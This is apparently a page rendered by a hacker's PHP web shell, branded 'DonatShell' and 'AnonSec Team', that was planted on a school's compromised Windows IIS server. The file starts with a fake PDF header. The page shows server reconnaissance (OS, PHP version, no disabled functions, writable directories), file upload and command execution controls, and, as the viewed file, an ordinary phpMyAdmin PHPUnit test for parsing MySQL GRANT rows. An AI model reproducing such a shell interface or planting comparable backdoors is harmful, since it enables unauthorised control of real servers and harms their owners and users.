%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/phpMyAdmin/test/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/phpMyAdmin/test/libraries/PMA_check_user_privileges_test.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * tests for check_user_privileges.lib.php
 *
 * @package PhpMyAdmin-test
 */

/*
 * Include to test.
 */

$GLOBALS['server'] = 1;
$GLOBALS['cfg']['Server']['DisableIS'] = false;
require_once 'libraries/Util.php';
require_once 'libraries/Tracker.php';
require_once 'libraries/database_interface.inc.php';
require_once 'libraries/check_user_privileges.lib.php';

/**
 * tests for check_user_privileges.lib.php
 *
 * @package PhpMyAdmin-test
 */
class PMA_CheckUserPrivileges_Test extends PHPUnit_Framework_TestCase
{

    /**
     * prepares environment for tests
     *
     * @return void
     */
    public function setUp()
    {

        $GLOBALS['col_priv'] = false;
        $GLOBALS['db_priv'] = false;
        $GLOBALS['proc_priv'] = false;
        $GLOBALS['table_priv'] = false;
        $GLOBALS['is_reload_priv'] = false;
    }


    public function testPMA_getItemsFromShowGrantsRow()
    {
        // TEST CASE 1
        $show_grants_full_row = "GRANT ALL PRIVILEGES ON *.* "
            . "TO 'root'@'localhost' WITH GRANT OPTION";

        list(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        ) = PMA_getItemsFromShowGrantsRow(
            $show_grants_full_row
        );

        $this->assertEquals(
            "ALL PRIVILEGES",
            $show_grants_str
        );

        $this->assertEquals(
            "*",
            $show_grants_dbname
        );

        $this->assertEquals(
            "*",
            $show_grants_tblname
        );

        // TEST CASE 2
        $show_grants_full_row = "GRANT ALL PRIVILEGES ON `mysql`.* TO "
            . "'root'@'localhost' WITH GRANT OPTION";

        list(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        ) = PMA_getItemsFromShowGrantsRow(
            $show_grants_full_row
        );

        $this->assertEquals(
            "ALL PRIVILEGES",
            $show_grants_str
        );

        $this->assertEquals(
            "mysql",
            $show_grants_dbname
        );

        $this->assertEquals(
            "*",
            $show_grants_tblname
        );

        // TEST CASE 3
        $show_grants_full_row = "GRANT SELECT, INSERT, UPDATE, DELETE "
            . "ON `mysql`.`columns_priv` TO 'root'@'localhost'";

        list(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        ) = PMA_getItemsFromShowGrantsRow(
            $show_grants_full_row
        );

        $this->assertEquals(
            "SELECT, INSERT, UPDATE, DELETE",
            $show_grants_str
        );

        $this->assertEquals(
            "mysql",
            $show_grants_dbname
        );

        $this->assertEquals(
            "columns_priv",
            $show_grants_tblname
        );

    }


    /**
     * Test for PMA_checkRequiredPrivilegesForAdjust
     *
     * @return void
     */
    public function testPMA_checkRequiredPrivilegesForAdjust()
    {
        // TEST CASE 1
        $show_grants_full_row = "GRANT ALL PRIVILEGES ON *.* "
            . "TO 'root'@'localhost' WITH GRANT OPTION";
        list(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        ) = PMA_getItemsFromShowGrantsRow(
            $show_grants_full_row
        );

        // call the to-be-tested function
        PMA_checkRequiredPrivilegesForAdjust(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        );

        $this->assertEquals(
            true,
            $GLOBALS['col_priv']
        );

        $this->assertEquals(
            true,
            $GLOBALS['db_priv']
        );

        $this->assertEquals(
            true,
            $GLOBALS['proc_priv']
        );

        $this->assertEquals(
            true,
            $GLOBALS['table_priv']
        );

        // re-initialise the privileges
        $this->setUp();

        // TEST CASE 2
        $show_grants_full_row = "GRANT ALL PRIVILEGES ON `mysql`.* TO "
            . "'root'@'localhost' WITH GRANT OPTION";
        list(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        ) = PMA_getItemsFromShowGrantsRow(
            $show_grants_full_row
        );

        // call the to-be-tested function
        PMA_checkRequiredPrivilegesForAdjust(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        );

        $this->assertEquals(
            true,
            $GLOBALS['col_priv']
        );

        $this->assertEquals(
            true,
            $GLOBALS['db_priv']
        );

        $this->assertEquals(
            true,
            $GLOBALS['proc_priv']
        );

        $this->assertEquals(
            true,
            $GLOBALS['table_priv']
        );


        // re-initialise the privileges
        $this->setUp();

        // TEST CASE 3
        $show_grants_full_row = "GRANT SELECT, INSERT, UPDATE, DELETE ON "
            . "`mysql`.* TO 'root'@'localhost'";
        list(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        ) = PMA_getItemsFromShowGrantsRow(
            $show_grants_full_row
        );

        // call the to-be-tested function
        PMA_checkRequiredPrivilegesForAdjust(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        );

        $this->assertEquals(
            true,
            $GLOBALS['col_priv']
        );

        $this->assertEquals(
            true,
            $GLOBALS['db_priv']
        );

        $this->assertEquals(
            true,
            $GLOBALS['proc_priv']
        );

        $this->assertEquals(
            true,
            $GLOBALS['table_priv']
        );


        // re-initialise the privileges
        $this->setUp();

        // TEST CASE 4
        $show_grants_full_row = "GRANT SELECT, INSERT, UPDATE, DELETE ON "
            . "`mysql`.`db` TO 'root'@'localhost'";
        list(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        ) = PMA_getItemsFromShowGrantsRow(
            $show_grants_full_row
        );

        // call the to-be-tested function
        PMA_checkRequiredPrivilegesForAdjust(
            $show_grants_str,
            $show_grants_dbname,
            $show_grants_tblname
        );

        $this->assertEquals(
            false,
            $GLOBALS['col_priv']
        );

        $this->assertEquals(
            true,
            $GLOBALS['db_priv']
        );

        $this->assertEquals(
            false,
            $GLOBALS['proc_priv']
        );

        $this->assertEquals(
            false,
            $GLOBALS['table_priv']
        );
    }

}

Anon7 - 2022
AnonSec Team